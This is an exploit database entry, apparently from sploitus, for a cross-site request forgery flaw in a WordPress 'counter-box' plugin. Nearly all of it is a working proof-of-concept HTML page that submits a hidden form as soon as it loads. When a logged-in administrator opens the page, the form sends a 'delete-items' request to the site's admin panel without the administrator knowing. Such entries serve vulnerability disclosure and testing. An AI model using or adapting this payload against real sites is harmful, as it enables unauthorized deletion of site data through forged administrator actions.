## https://sploitus.com/exploit?id=WPEX-ID:0C441293-E7F9-4634-8F3A-09925CD2B696
Make a logged in admin open an HTML file where ID is a valid ID:
```
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=counter-box" method="POST">
<input type="text" name="ID" value="1" />
<input type="text" name="action" value="delete-items" />
<input type="text" name="action2" value="delete-items" />
action
<input type="submit" value="submit">
</form>
</body>
```